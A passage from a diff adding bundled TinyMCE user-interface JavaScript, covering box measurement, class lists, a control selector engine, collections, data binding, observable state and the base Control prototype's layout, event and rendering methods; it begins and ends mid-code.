+      var radix = 10;
+      if (!value) {
+        return;
+      }
+      if (typeof value === 'number') {
+        value = value || 0;
+        return {
+          top: value,
+          left: value,
+          bottom: value,
+          right: value
+        };
+      }
+      value = value.split(' ');
+      len = value.length;
+      if (len === 1) {
+        value[1] = value[2] = value[3] = value[0];
+      } else if (len === 2) {
+        value[2] = value[0];
+        value[3] = value[1];
+      } else if (len === 3) {
+        value[3] = value[1];
+      }
+      return {
+        top: parseInt(value[0], radix) || 0,
+        right: parseInt(value[1], radix) || 0,
+        bottom: parseInt(value[2], radix) || 0,
+        left: parseInt(value[3], radix) || 0
+      };
+    },
+    measureBox: function (elm, prefix) {
+      function getStyle(name) {
+        var defaultView = elm.ownerDocument.defaultView;
+        if (defaultView) {
+          var computedStyle = defaultView.getComputedStyle(elm, null);
+          if (computedStyle) {
+            name = name.replace(/[A-Z]/g, function (a) {
+              return '-' + a;
+            });
+            return computedStyle.getPropertyValue(name);
+          } else {
+            return null;
+          }
+        }
+        return elm.currentStyle[name];
+      }
+      function getSide(name) {
+        var val = parseFloat(getStyle(name));
+        return isNaN(val) ? 0 : val;
+      }
+      return {
+        top: getSide(prefix + 'TopWidth'),
+        right: getSide(prefix + 'RightWidth'),
+        bottom: getSide(prefix + 'BottomWidth'),
+        left: getSide(prefix + 'LeftWidth')
+      };
+    }
+  };
+
+  function noop$1() {
+  }
+  function ClassList(onchange) {
+    this.cls = [];
+    this.cls._map = {};
+    this.onchange = onchange || noop$1;
+    this.prefix = '';
+  }
+  global$2.extend(ClassList.prototype, {
+    add: function (cls) {
+      if (cls && !this.contains(cls)) {
+        this.cls._map[cls] = true;
+        this.cls.push(cls);
+        this._change();
+      }
+      return this;
+    },
+    remove: function (cls) {
+      if (this.contains(cls)) {
+        var i = void 0;
+        for (i = 0; i < this.cls.length; i++) {
+          if (this.cls[i] === cls) {
+            break;
+          }
+        }
+        this.cls.splice(i, 1);
+        delete this.cls._map[cls];
+        this._change();
+      }
+      return this;
+    },
+    toggle: function (cls, state) {
+      var curState = this.contains(cls);
+      if (curState !== state) {
+        if (curState) {
+          this.remove(cls);
+        } else {
+          this.add(cls);
+        }
+        this._change();
+      }
+      return this;
+    },
+    contains: function (cls) {
+      return !!this.cls._map[cls];
+    },
+    _change: function () {
+      delete this.clsValue;
+      this.onchange.call(this);
+    }
+  });
+  ClassList.prototype.toString = function () {
+    var value;
+    if (this.clsValue) {
+      return this.clsValue;
+    }
+    value = '';
+    for (var i = 0; i < this.cls.length; i++) {
+      if (i > 0) {
+        value += ' ';
+      }
+      value += this.prefix + this.cls[i];
+    }
+    return value;
+  };
+
+  function unique(array) {
+    var uniqueItems = [];
+    var i = array.length, item;
+    while (i--) {
+      item = array[i];
+      if (!item.__checked) {
+        uniqueItems.push(item);
+        item.__checked = 1;
+      }
+    }
+    i = uniqueItems.length;
+    while (i--) {
+      delete uniqueItems[i].__checked;
+    }
+    return uniqueItems;
+  }
+  var expression = /^([\w\\*]+)?(?:#([\w\-\\]+))?(?:\.([\w\\\.]+))?(?:\[\@?([\w\\]+)([\^\$\*!~]?=)([\w\\]+)\])?(?:\:(.+))?/i;
+  var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;
+  var whiteSpace = /^\s*|\s*$/g;
+  var Collection;
+  var Selector = global$10.extend({
+    init: function (selector) {
+      var match = this.match;
+      function compileNameFilter(name) {
+        if (name) {
+          name = name.toLowerCase();
+          return function (item) {
+            return name === '*' || item.type === name;
+          };
+        }
+      }
+      function compileIdFilter(id) {
+        if (id) {
+          return function (item) {
+            return item._name === id;
+          };
+        }
+      }
+      function compileClassesFilter(classes) {
+        if (classes) {
+          classes = classes.split('.');
+          return function (item) {
+            var i = classes.length;
+            while (i--) {
+              if (!item.classes.contains(classes[i])) {
+                return false;
+              }
+            }
+            return true;
+          };
+        }
+      }
+      function compileAttrFilter(name, cmp, check) {
+        if (name) {
+          return function (item) {
+            var value = item[name] ? item[name]() : '';
+            return !cmp ? !!check : cmp === '=' ? value === check : cmp === '*=' ? value.indexOf(check) >= 0 : cmp === '~=' ? (' ' + value + ' ').indexOf(' ' + check + ' ') >= 0 : cmp === '!=' ? value !== check : cmp === '^=' ? value.indexOf(check) === 0 : cmp === '$=' ? value.substr(value.length - check.length) === check : false;
+          };
+        }
+      }
+      function compilePsuedoFilter(name) {
+        var notSelectors;
+        if (name) {
+          name = /(?:not\((.+)\))|(.+)/i.exec(name);
+          if (!name[1]) {
+            name = name[2];
+            return function (item, index, length) {
+              return name === 'first' ? index === 0 : name === 'last' ? index === length - 1 : name === 'even' ? index % 2 === 0 : name === 'odd' ? index % 2 === 1 : item[name] ? item[name]() : false;
+            };
+          }
+          notSelectors = parseChunks(name[1], []);
+          return function (item) {
+            return !match(item, notSelectors);
+          };
+        }
+      }
+      function compile(selector, filters, direct) {
+        var parts;
+        function add(filter) {
+          if (filter) {
+            filters.push(filter);
+          }
+        }
+        parts = expression.exec(selector.replace(whiteSpace, ''));
+        add(compileNameFilter(parts[1]));
+        add(compileIdFilter(parts[2]));
+        add(compileClassesFilter(parts[3]));
+        add(compileAttrFilter(parts[4], parts[5], parts[6]));
+        add(compilePsuedoFilter(parts[7]));
+        filters.pseudo = !!parts[7];
+        filters.direct = direct;
+        return filters;
+      }
+      function parseChunks(selector, selectors) {
+        var parts = [];
+        var extra, matches, i;
+        do {
+          chunker.exec('');
+          matches = chunker.exec(selector);
+          if (matches) {
+            selector = matches[3];
+            parts.push(matches[1]);
+            if (matches[2]) {
+              extra = matches[3];
+              break;
+            }
+          }
+        } while (matches);
+        if (extra) {
+          parseChunks(extra, selectors);
+        }
+        selector = [];
+        for (i = 0; i < parts.length; i++) {
+          if (parts[i] !== '>') {
+            selector.push(compile(parts[i], [], parts[i - 1] === '>'));
+          }
+        }
+        selectors.push(selector);
+        return selectors;
+      }
+      this._selectors = parseChunks(selector, []);
+    },
+    match: function (control, selectors) {
+      var i, l, si, sl, selector, fi, fl, filters, index, length, siblings, count, item;
+      selectors = selectors || this._selectors;
+      for (i = 0, l = selectors.length; i < l; i++) {
+        selector = selectors[i];
+        sl = selector.length;
+        item = control;
+        count = 0;
+        for (si = sl - 1; si >= 0; si--) {
+          filters = selector[si];
+          while (item) {
+            if (filters.pseudo) {
+              siblings = item.parent().items();
+              index = length = siblings.length;
+              while (index--) {
+                if (siblings[index] === item) {
+                  break;
+                }
+              }
+            }
+            for (fi = 0, fl = filters.length; fi < fl; fi++) {
+              if (!filters[fi](item, index, length)) {
+                fi = fl + 1;
+                break;
+              }
+            }
+            if (fi === fl) {
+              count++;
+              break;
+            } else {
+              if (si === sl - 1) {
+                break;
+              }
+            }
+            item = item.parent();
+          }
+        }
+        if (count === sl) {
+          return true;
+        }
+      }
+      return false;
+    },
+    find: function (container) {
+      var matches = [], i, l;
+      var selectors = this._selectors;
+      function collect(items, selector, index) {
+        var i, l, fi, fl, item;
+        var filters = selector[index];
+        for (i = 0, l = items.length; i < l; i++) {
+          item = items[i];
+          for (fi = 0, fl = filters.length; fi < fl; fi++) {
+            if (!filters[fi](item, i, l)) {
+              fi = fl + 1;
+              break;
+            }
+          }
+          if (fi === fl) {
+            if (index === selector.length - 1) {
+              matches.push(item);
+            } else {
+              if (item.items) {
+                collect(item.items(), selector, index + 1);
+              }
+            }
+          } else if (filters.direct) {
+            return;
+          }
+          if (item.items) {
+            collect(item.items(), selector, index);
+          }
+        }
+      }
+      if (container.items) {
+        for (i = 0, l = selectors.length; i < l; i++) {
+          collect(container.items(), selectors[i], 0);
+        }
+        if (l > 1) {
+          matches = unique(matches);
+        }
+      }
+      if (!Collection) {
+        Collection = Selector.Collection;
+      }
+      return new Collection(matches);
+    }
+  });
+
+  var Collection$1;
+  var proto;
+  var push$1 = Array.prototype.push;
+  var slice$1 = Array.prototype.slice;
+  proto = {
+    length: 0,
+    init: function (items) {
+      if (items) {
+        this.add(items);
+      }
+    },
+    add: function (items) {
+      var self = this;
+      if (!global$2.isArray(items)) {
+        if (items instanceof Collection$1) {
+          self.add(items.toArray());
+        } else {
+          push$1.call(self, items);
+        }
+      } else {
+        push$1.apply(self, items);
+      }
+      return self;
+    },
+    set: function (items) {
+      var self = this;
+      var len = self.length;
+      var i;
+      self.length = 0;
+      self.add(items);
+      for (i = self.length; i < len; i++) {
+        delete self[i];
+      }
+      return self;
+    },
+    filter: function (selector) {
+      var self = this;
+      var i, l;
+      var matches = [];
+      var item, match;
+      if (typeof selector === 'string') {
+        selector = new Selector(selector);
+        match = function (item) {
+          return selector.match(item);
+        };
+      } else {
+        match = selector;
+      }
+      for (i = 0, l = self.length; i < l; i++) {
+        item = self[i];
+        if (match(item)) {
+          matches.push(item);
+        }
+      }
+      return new Collection$1(matches);
+    },
+    slice: function () {
+      return new Collection$1(slice$1.apply(this, arguments));
+    },
+    eq: function (index) {
+      return index === -1 ? this.slice(index) : this.slice(index, +index + 1);
+    },
+    each: function (callback) {
+      global$2.each(this, callback);
+      return this;
+    },
+    toArray: function () {
+      return global$2.toArray(this);
+    },
+    indexOf: function (ctrl) {
+      var self = this;
+      var i = self.length;
+      while (i--) {
+        if (self[i] === ctrl) {
+          break;
+        }
+      }
+      return i;
+    },
+    reverse: function () {
+      return new Collection$1(global$2.toArray(this).reverse());
+    },
+    hasClass: function (cls) {
+      return this[0] ? this[0].classes.contains(cls) : false;
+    },
+    prop: function (name, value) {
+      var self = this;
+      var item;
+      if (value !== undefined) {
+        self.each(function (item) {
+          if (item[name]) {
+            item[name](value);
+          }
+        });
+        return self;
+      }
+      item = self[0];
+      if (item && item[name]) {
+        return item[name]();
+      }
+    },
+    exec: function (name) {
+      var self = this, args = global$2.toArray(arguments).slice(1);
+      self.each(function (item) {
+        if (item[name]) {
+          item[name].apply(item, args);
+        }
+      });
+      return self;
+    },
+    remove: function () {
+      var i = this.length;
+      while (i--) {
+        this[i].remove();
+      }
+      return this;
+    },
+    addClass: function (cls) {
+      return this.each(function (item) {
+        item.classes.add(cls);
+      });
+    },
+    removeClass: function (cls) {
+      return this.each(function (item) {
+        item.classes.remove(cls);
+      });
+    }
+  };
+  global$2.each('fire on off show hide append prepend before after reflow'.split(' '), function (name) {
+    proto[name] = function () {
+      var args = global$2.toArray(arguments);
+      this.each(function (ctrl) {
+        if (name in ctrl) {
+          ctrl[name].apply(ctrl, args);
+        }
+      });
+      return this;
+    };
+  });
+  global$2.each('text name disabled active selected checked visible parent value data'.split(' '), function (name) {
+    proto[name] = function (value) {
+      return this.prop(name, value);
+    };
+  });
+  Collection$1 = global$10.extend(proto);
+  Selector.Collection = Collection$1;
+  var Collection$2 = Collection$1;
+
+  var Binding = function (settings) {
+    this.create = settings.create;
+  };
+  Binding.create = function (model, name) {
+    return new Binding({
+      create: function (otherModel, otherName) {
+        var bindings;
+        var fromSelfToOther = function (e) {
+          otherModel.set(otherName, e.value);
+        };
+        var fromOtherToSelf = function (e) {
+          model.set(name, e.value);
+        };
+        otherModel.on('change:' + otherName, fromOtherToSelf);
+        model.on('change:' + name, fromSelfToOther);
+        bindings = otherModel._bindings;
+        if (!bindings) {
+          bindings = otherModel._bindings = [];
+          otherModel.on('destroy', function () {
+            var i = bindings.length;
+            while (i--) {
+              bindings[i]();
+            }
+          });
+        }
+        bindings.push(function () {
+          model.off('change:' + name, fromSelfToOther);
+        });
+        return model.get(name);
+      }
+    });
+  };
+
+  var global$12 = tinymce.util.Tools.resolve('tinymce.util.Observable');
+
+  function isNode(node) {
+    return node.nodeType > 0;
+  }
+  function isEqual(a, b) {
+    var k, checked;
+    if (a === b) {
+      return true;
+    }
+    if (a === null || b === null) {
+      return a === b;
+    }
+    if (typeof a !== 'object' || typeof b !== 'object') {
+      return a === b;
+    }
+    if (global$2.isArray(b)) {
+      if (a.length !== b.length) {
+        return false;
+      }
+      k = a.length;
+      while (k--) {
+        if (!isEqual(a[k], b[k])) {
+          return false;
+        }
+      }
+    }
+    if (isNode(a) || isNode(b)) {
+      return a === b;
+    }
+    checked = {};
+    for (k in b) {
+      if (!isEqual(a[k], b[k])) {
+        return false;
+      }
+      checked[k] = true;
+    }
+    for (k in a) {
+      if (!checked[k] && !isEqual(a[k], b[k])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  var ObservableObject = global$10.extend({
+    Mixins: [global$12],
+    init: function (data) {
+      var name, value;
+      data = data || {};
+      for (name in data) {
+        value = data[name];
+        if (value instanceof Binding) {
+          data[name] = value.create(this, name);
+        }
+      }
+      this.data = data;
+    },
+    set: function (name, value) {
+      var key, args;
+      var oldValue = this.data[name];
+      if (value instanceof Binding) {
+        value = value.create(this, name);
+      }
+      if (typeof name === 'object') {
+        for (key in name) {
+          this.set(key, name[key]);
+        }
+        return this;
+      }
+      if (!isEqual(oldValue, value)) {
+        this.data[name] = value;
+        args = {
+          target: this,
+          name: name,
+          value: value,
+          oldValue: oldValue
+        };
+        this.fire('change:' + name, args);
+        this.fire('change', args);
+      }
+      return this;
+    },
+    get: function (name) {
+      return this.data[name];
+    },
+    has: function (name) {
+      return name in this.data;
+    },
+    bind: function (name) {
+      return Binding.create(this, name);
+    },
+    destroy: function () {
+      this.fire('destroy');
+    }
+  });
+
+  var dirtyCtrls = {};
+  var animationFrameRequested;
+  var $_p42hyuxjjgwefrk = {
+    add: function (ctrl) {
+      var parent$$1 = ctrl.parent();
+      if (parent$$1) {
+        if (!parent$$1._layout || parent$$1._layout.isNative()) {
+          return;
+        }
+        if (!dirtyCtrls[parent$$1._id]) {
+          dirtyCtrls[parent$$1._id] = parent$$1;
+        }
+        if (!animationFrameRequested) {
+          animationFrameRequested = true;
+          global$7.requestAnimationFrame(function () {
+            var id, ctrl;
+            animationFrameRequested = false;
+            for (id in dirtyCtrls) {
+              ctrl = dirtyCtrls[id];
+              if (ctrl.state.get('rendered')) {
+                ctrl.reflow();
+              }
+            }
+            dirtyCtrls = {};
+          }, document.body);
+        }
+      }
+    },
+    remove: function (ctrl) {
+      if (dirtyCtrls[ctrl._id]) {
+        delete dirtyCtrls[ctrl._id];
+      }
+    }
+  };
+
+  var hasMouseWheelEventSupport = 'onmousewheel' in document;
+  var hasWheelEventSupport = false;
+  var classPrefix = 'mce-';
+  var Control;
+  var idCounter = 0;
+  var proto$1 = {
+    Statics: { classPrefix: classPrefix },
+    isRtl: function () {
+      return Control.rtl;
+    },
+    classPrefix: classPrefix,
+    init: function (settings) {
+      var self$$1 = this;
+      var classes, defaultClasses;
+      function applyClasses(classes) {
+        var i;
+        classes = classes.split(' ');
+        for (i = 0; i < classes.length; i++) {
+          self$$1.classes.add(classes[i]);
+        }
+      }
+      self$$1.settings = settings = global$2.extend({}, self$$1.Defaults, settings);
+      self$$1._id = settings.id || 'mceu_' + idCounter++;
+      self$$1._aria = { role: settings.role };
+      self$$1._elmCache = {};
+      self$$1.$ = global$9;
+      self$$1.state = new ObservableObject({
+        visible: true,
+        active: false,
+        disabled: false,
+        value: ''
+      });
+      self$$1.data = new ObservableObject(settings.data);
+      self$$1.classes = new ClassList(function () {
+        if (self$$1.state.get('rendered')) {
+          self$$1.getEl().className = this.toString();
+        }
+      });
+      self$$1.classes.prefix = self$$1.classPrefix;
+      classes = settings.classes;
+      if (classes) {
+        if (self$$1.Defaults) {
+          defaultClasses = self$$1.Defaults.classes;
+          if (defaultClasses && classes !== defaultClasses) {
+            applyClasses(defaultClasses);
+          }
+        }
+        applyClasses(classes);
+      }
+      global$2.each('title text name visible disabled active value'.split(' '), function (name$$1) {
+        if (name$$1 in settings) {
+          self$$1[name$$1](settings[name$$1]);
+        }
+      });
+      self$$1.on('click', function () {
+        if (self$$1.disabled()) {
+          return false;
+        }
+      });
+      self$$1.settings = settings;
+      self$$1.borderBox = $_fbr241uqjjgwefqo.parseBox(settings.border);
+      self$$1.paddingBox = $_fbr241uqjjgwefqo.parseBox(settings.padding);
+      self$$1.marginBox = $_fbr241uqjjgwefqo.parseBox(settings.margin);
+      if (settings.hidden) {
+        self$$1.hide();
+      }
+    },
+    Properties: 'parent,name',
+    getContainerElm: function () {
+      var uiContainer = $_6344qfu4jjgwefnr.getUiContainer(this);
+      return uiContainer ? uiContainer : funcs.getContainer();
+    },
+    getParentCtrl: function (elm) {
+      var ctrl;
+      var lookup = this.getRoot().controlIdLookup;
+      while (elm && lookup) {
+        ctrl = lookup[elm.id];
+        if (ctrl) {
+          break;
+        }
+        elm = elm.parentNode;
+      }
+      return ctrl;
+    },
+    initLayoutRect: function () {
+      var self$$1 = this;
+      var settings = self$$1.settings;
+      var borderBox, layoutRect;
+      var elm = self$$1.getEl();
+      var width, height, minWidth, minHeight, autoResize;
+      var startMinWidth, startMinHeight, initialSize;
+      borderBox = self$$1.borderBox = self$$1.borderBox || $_fbr241uqjjgwefqo.measureBox(elm, 'border');
+      self$$1.paddingBox = self$$1.paddingBox || $_fbr241uqjjgwefqo.measureBox(elm, 'padding');
+      self$$1.marginBox = self$$1.marginBox || $_fbr241uqjjgwefqo.measureBox(elm, 'margin');
+      initialSize = funcs.getSize(elm);
+      startMinWidth = settings.minWidth;
+      startMinHeight = settings.minHeight;
+      minWidth = startMinWidth || initialSize.width;
+      minHeight = startMinHeight || initialSize.height;
+      width = settings.width;
+      height = settings.height;
+      autoResize = settings.autoResize;
+      autoResize = typeof autoResize !== 'undefined' ? autoResize : !width && !height;
+      width = width || minWidth;
+      height = height || minHeight;
+      var deltaW = borderBox.left + borderBox.right;
+      var deltaH = borderBox.top + borderBox.bottom;
+      var maxW = settings.maxWidth || 65535;
+      var maxH = settings.maxHeight || 65535;
+      self$$1._layoutRect = layoutRect = {
+        x: settings.x || 0,
+        y: settings.y || 0,
+        w: width,
+        h: height,
+        deltaW: deltaW,
+        deltaH: deltaH,
+        contentW: width - deltaW,
+        contentH: height - deltaH,
+        innerW: width - deltaW,
+        innerH: height - deltaH,
+        startMinWidth: startMinWidth || 0,
+        startMinHeight: startMinHeight || 0,
+        minW: Math.min(minWidth, maxW),
+        minH: Math.min(minHeight, maxH),
+        maxW: maxW,
+        maxH: maxH,
+        autoResize: autoResize,
+        scrollW: 0
+      };
+      self$$1._lastLayoutRect = {};
+      return layoutRect;
+    },
+    layoutRect: function (newRect) {
+      var self$$1 = this;
+      var curRect = self$$1._layoutRect, lastLayoutRect, size, deltaWidth, deltaHeight, repaintControls;
+      if (!curRect) {
+        curRect = self$$1.initLayoutRect();
+      }
+      if (newRect) {
+        deltaWidth = curRect.deltaW;
+        deltaHeight = curRect.deltaH;
+        if (newRect.x !== undefined) {
+          curRect.x = newRect.x;
+        }
+        if (newRect.y !== undefined) {
+          curRect.y = newRect.y;
+        }
+        if (newRect.minW !== undefined) {
+          curRect.minW = newRect.minW;
+        }
+        if (newRect.minH !== undefined) {
+          curRect.minH = newRect.minH;
+        }
+        size = newRect.w;
+        if (size !== undefined) {
+          size = size < curRect.minW ? curRect.minW : size;
+          size = size > curRect.maxW ? curRect.maxW : size;
+          curRect.w = size;
+          curRect.innerW = size - deltaWidth;
+        }
+        size = newRect.h;
+        if (size !== undefined) {
+          size = size < curRect.minH ? curRect.minH : size;
+          size = size > curRect.maxH ? curRect.maxH : size;
+          curRect.h = size;
+          curRect.innerH = size - deltaHeight;
+        }
+        size = newRect.innerW;
+        if (size !== undefined) {
+          size = size < curRect.minW - deltaWidth ? curRect.minW - deltaWidth : size;
+          size = size > curRect.maxW - deltaWidth ? curRect.maxW - deltaWidth : size;
+          curRect.innerW = size;
+          curRect.w = size + deltaWidth;
+        }
+        size = newRect.innerH;
+        if (size !== undefined) {
+          size = size < curRect.minH - deltaHeight ? curRect.minH - deltaHeight : size;
+          size = size > curRect.maxH - deltaHeight ? curRect.maxH - deltaHeight : size;
+          curRect.innerH = size;
+          curRect.h = size + deltaHeight;
+        }
+        if (newRect.contentW !== undefined) {
+          curRect.contentW = newRect.contentW;
+        }
+        if (newRect.contentH !== undefined) {
+          curRect.contentH = newRect.contentH;
+        }
+        lastLayoutRect = self$$1._lastLayoutRect;
+        if (lastLayoutRect.x !== curRect.x || lastLayoutRect.y !== curRect.y || lastLayoutRect.w !== curRect.w || lastLayoutRect.h !== curRect.h) {
+          repaintControls = Control.repaintControls;
+          if (repaintControls) {
+            if (repaintControls.map && !repaintControls.map[self$$1._id]) {
+              repaintControls.push(self$$1);
+              repaintControls.map[self$$1._id] = true;
+            }
+          }
+          lastLayoutRect.x = curRect.x;
+          lastLayoutRect.y = curRect.y;
+          lastLayoutRect.w = curRect.w;
+          lastLayoutRect.h = curRect.h;
+        }
+        return self$$1;
+      }
+      return curRect;
+    },
+    repaint: function () {
+      var self$$1 = this;
+      var style, bodyStyle, bodyElm, rect, borderBox;
+      var borderW, borderH, lastRepaintRect, round, value;
+      round = !document.createRange ? Math.round : function (value) {
+        return value;
+      };
+      style = self$$1.getEl().style;
+      rect = self$$1._layoutRect;
+      lastRepaintRect = self$$1._lastRepaintRect || {};
+      borderBox = self$$1.borderBox;
+      borderW = borderBox.left + borderBox.right;
+      borderH = borderBox.top + borderBox.bottom;
+      if (rect.x !== lastRepaintRect.x) {
+        style.left = round(rect.x) + 'px';
+        lastRepaintRect.x = rect.x;
+      }
+      if (rect.y !== lastRepaintRect.y) {
+        style.top = round(rect.y) + 'px';
+        lastRepaintRect.y = rect.y;
+      }
+      if (rect.w !== lastRepaintRect.w) {
+        value = round(rect.w - borderW);
+        style.width = (value >= 0 ? value : 0) + 'px';
+        lastRepaintRect.w = rect.w;
+      }
+      if (rect.h !== lastRepaintRect.h) {
+        value = round(rect.h - borderH);
+        style.height = (value >= 0 ? value : 0) + 'px';
+        lastRepaintRect.h = rect.h;
+      }
+      if (self$$1._hasBody && rect.innerW !== lastRepaintRect.innerW) {
+        value = round(rect.innerW);
+        bodyElm = self$$1.getEl('body');
+        if (bodyElm) {
+          bodyStyle = bodyElm.style;
+          bodyStyle.width = (value >= 0 ? value : 0) + 'px';
+        }
+        lastRepaintRect.innerW = rect.innerW;
+      }
+      if (self$$1._hasBody && rect.innerH !== lastRepaintRect.innerH) {
+        value = round(rect.innerH);
+        bodyElm = bodyElm || self$$1.getEl('body');
+        if (bodyElm) {
+          bodyStyle = bodyStyle || bodyElm.style;
+          bodyStyle.height = (value >= 0 ? value : 0) + 'px';
+        }
+        lastRepaintRect.innerH = rect.innerH;
+      }
+      self$$1._lastRepaintRect = lastRepaintRect;
+      self$$1.fire('repaint', {}, false);
+    },
+    updateLayoutRect: function () {
+      var self$$1 = this;
+      self$$1.parent()._lastRect = null;
+      funcs.css(self$$1.getEl(), {
+        width: '',
+        height: ''
+      });
+      self$$1._layoutRect = self$$1._lastRepaintRect = self$$1._lastLayoutRect = null;
+      self$$1.initLayoutRect();
+    },
+    on: function (name$$1, callback) {
+      var self$$1 = this;
+      function resolveCallbackName(name$$1) {
+        var callback, scope;
+        if (typeof name$$1 !== 'string') {
+          return name$$1;
+        }
+        return function (e) {
+          if (!callback) {
+            self$$1.parentsAndSelf().each(function (ctrl) {
+              var callbacks = ctrl.settings.callbacks;
+              if (callbacks && (callback = callbacks[name$$1])) {
+                scope = ctrl;
+                return false;
+              }
+            });
+          }
+          if (!callback) {
+            e.action = name$$1;
+            this.fire('execute', e);
+            return;
+          }
+          return callback.call(scope, e);
+        };
+      }
+      getEventDispatcher(self$$1).on(name$$1, resolveCallbackName(callback));
+      return self$$1;
+    },
+    off: function (name$$1, callback) {
+      getEventDispatcher(this).off(name$$1, callback);
+      return this;
+    },
+    fire: function (name$$1, args, bubble) {
+      var self$$1 = this;
+      args = args || {};
+      if (!args.control) {
+        args.control = self$$1;
+      }
+      args = getEventDispatcher(self$$1).fire(name$$1, args);
+      if (bubble !== false && self$$1.parent) {
+        var parent$$1 = self$$1.parent();
+        while (parent$$1 && !args.isPropagationStopped()) {
+          parent$$1.fire(name$$1, args, false);
+          parent$$1 = parent$$1.parent();
+        }
+      }
+      return args;
+    },
+    hasEventListeners: function (name$$1) {
+      return getEventDispatcher(this).has(name$$1);
+    },
+    parents: function (selector) {
+      var self$$1 = this;
+      var ctrl, parents = new Collection$2();
+      for (ctrl = self$$1.parent(); ctrl; ctrl = ctrl.parent()) {
+        parents.add(ctrl);
+      }
+      if (selector) {
+        parents = parents.filter(selector);
+      }
+      return parents;
+    },
+    parentsAndSelf: function (selector) {
+      return new Collection$2(this).add(this.parents(selector));
+    },
+    next: function () {
+      var parentControls = this.parent().items();
+      return parentControls[parentControls.indexOf(this) + 1];
+    },
+    prev: function () {
+      var parentControls = this.parent().items();
+      return parentControls[parentControls.indexOf(this) - 1];
+    },
+    innerHtml: function (html) {
+      this.$el.html(html);
+      return this;
+    },
+    getEl: function (suffix) {
+      var id = suffix ? this._id + '-' + suffix : this._id;
+      if (!this._elmCache[id]) {
+        this._elmCache[id] = global$9('#' + id)[0];
+      }
+      return this._elmCache[id];
+    },
+    show: function () {
+      return this.visible(true);
+    },
+    hide: function () {
+      return this.visible(false);
+    },
+    focus: function () {
+      try {
+        this.getEl().focus();
+      } catch (ex) {
+      }
+      return this;
+    },
+    blur: function () {
+      this.getEl().blur();
+      return this;
+    },
+    aria: function (name$$1, value) {
+      var self$$1 = this, elm = self$$1.getEl(self$$1.ariaTarget);
+      if (typeof value === 'undefined') {
+        return self$$1._aria[name$$1];
+      }
+      self$$1._aria[name$$1] = value;
+      if (self$$1.state.get('rendered')) {
+        elm.setAttribute(name$$1 === 'role' ? name$$1 : 'aria-' + name$$1, value);
+      }
+      return self$$1;
+    },
+    encode: function (text, translate) {
+      if (translate !== false) {
+        text = this.translate(text);
+      }
+      return (text || '').replace(/[&<>"]/g, function (match) {
+        return '&#' + match.charCodeAt(0) + ';';
+      });
+    },
+    translate: function (text) {
+      return Control.translate ? Control.translate(text) : text;
+    },
+    before: function (items) {
+      var self$$1 = this, parent$$1 = self$$1.parent();
+      if (parent$$1) {
+        parent$$1.insert(items, parent$$1.items().indexOf(self$$1), true);
+      }
+      return self$$1;
+    },
+    after: function (items) {
+      var self$$1 = this, parent$$1 = self$$1.parent();
+      if (parent$$1) {
+        parent$$1.insert(items, parent$$1.items().indexOf(self$$1));
+      }
+      return self$$1;
+    },
+    remove: function () {
+      var self$$1 = this;
+      var elm = self$$1.getEl();
+      var parent$$1 = self$$1.parent();
+      var newItems, i;
+      if (self$$1.items) {
+        var controls = self$$1.items().toArray();
+        i = controls.length;
+        while (i--) {
+          controls[i].remove();
+        }
+      }
+      if (parent$$1 && parent$$1.items) {
+        newItems = [];
+        parent$$1.items().each(function (item) {
+          if (item !== self$$1) {
+            newItems.push(item);
+          }
+        });
+        parent$$1.items().set(newItems);
+        parent$$1._lastRect = null;
+      }
+      if (self$$1._eventsRoot && self$$1._eventsRoot === self$$1) {
+        global$9(elm).off();
+      }
+      var lookup = self$$1.getRoot().controlIdLookup;
+      if (lookup) {
+        delete lookup[self$$1._id];
+      }
+      if (elm && elm.parentNode) {
+        elm.parentNode.removeChild(elm);
+      }
+      self$$1.state.set('rendered', false);
+      self$$1.state.destroy();
+      self$$1.fire('remove');
+      return self$$1;
+    },
+    renderBefore: function (elm) {
+      global$9(elm).before(this.renderHtml());
+      this.postRender();
+      return this;
+    },
+    renderTo: function (elm) {
+      global$9(elm || this.getContainerElm()).append(this.renderHtml());
+      this.postRender();
+      return this;
+    },
+    preRender: function () {
+    },
+    render: function () {
+    },
+    renderHtml: function () {
+      return '<div id="' + this._id + '" class="' + this.classes + '"></div>';
+    },
+    postRender: function () {
+      var self$$1 = this;
+      var settings = self$$1.settings;
+      var elm, box, parent$$1, name$$1, parentEventsRoot;
+      self$$1.$el = global$9(self$$1.getEl());
+      self$$1.state.set('rendered', true);
+      for (name$$1 in settings) {
+        if (name$$1.indexOf('on') === 0) {
+          self$$1.on(name$$1.substr(2), settings[name$$1]);
+        }
+      }
+      if (self$$1._eventsRoot) {
+        for (parent$$1 = self$$1.parent(); !parentEventsRoot && parent$$1; parent$$1 = parent$$1.parent()) {
+          parentEventsRoot = parent$$1._eventsRoot;
+        }
+        if (parentEventsRoot) {
+          for (name$$1 in parentEventsRoot._nativeEvents) {
+            self$$1._nativeEvents[name$$1] = true;
+          }
+        }
+      }
+      bindPendingEvents(self$$1);
+      if (settings.style) {
+        elm = self$$1.getEl();
+        if (elm) {
+          elm.setAttribute('style', settings.style);
+          elm.style.cssText = settings.style;
+        }
+      }
+      if (self$$1.settings.border) {
+        box = self$$1.borderBox;
+        self$$1.$el.css({
+          'border-top-width': box.top,
+          'border-right-width': box.right,
+          'border-bottom-width': box.bottom,
+          'border-left-width': box.left
+        });
+      }
+      var root = self$$1.getRoot();
+      if (!root.controlIdLookup) {
+        root.controlIdLookup = {};
+      }
+      root.controlIdLookup[self$$1._id] = self$$1;
+      for (var key in self$$1._aria) {
+        self$$1.aria(key, self$$1._aria[key]);
+      }
+      if (self$$1.state.get('visible') === false) {
+        self$$1.getEl().style.display = 'none';
+      }
+      self$$1.bindStates();
+      self$$1.state.on('change:visible', function (e) {
+        var state = e.value;
+        var parentCtrl;
+        if (self$$1.state.get('rendered')) {
+          self$$1.getEl().style.display = state === false ? 'none' : '';
+          self$$1.getEl().getBoundingClientRect();
+        }
+        parentCtrl = self$$1.parent();
+        if (parentCtrl) {
+          parentCtrl._lastRect = null;
+        }
+        self$$1.fire(state ? 'show' : 'hide');
+        $_p42hyuxjjgwefrk.add(self$$1);
+      });
+      self$$1.fire('postrender', {}, false);
+    },
+    bindStates: function () {
+    },
+    scrollIntoView: function (align) {
+      function getOffset(elm, rootElm) {
+        var x, y, parent$$1 = elm;
+        x = y = 0;
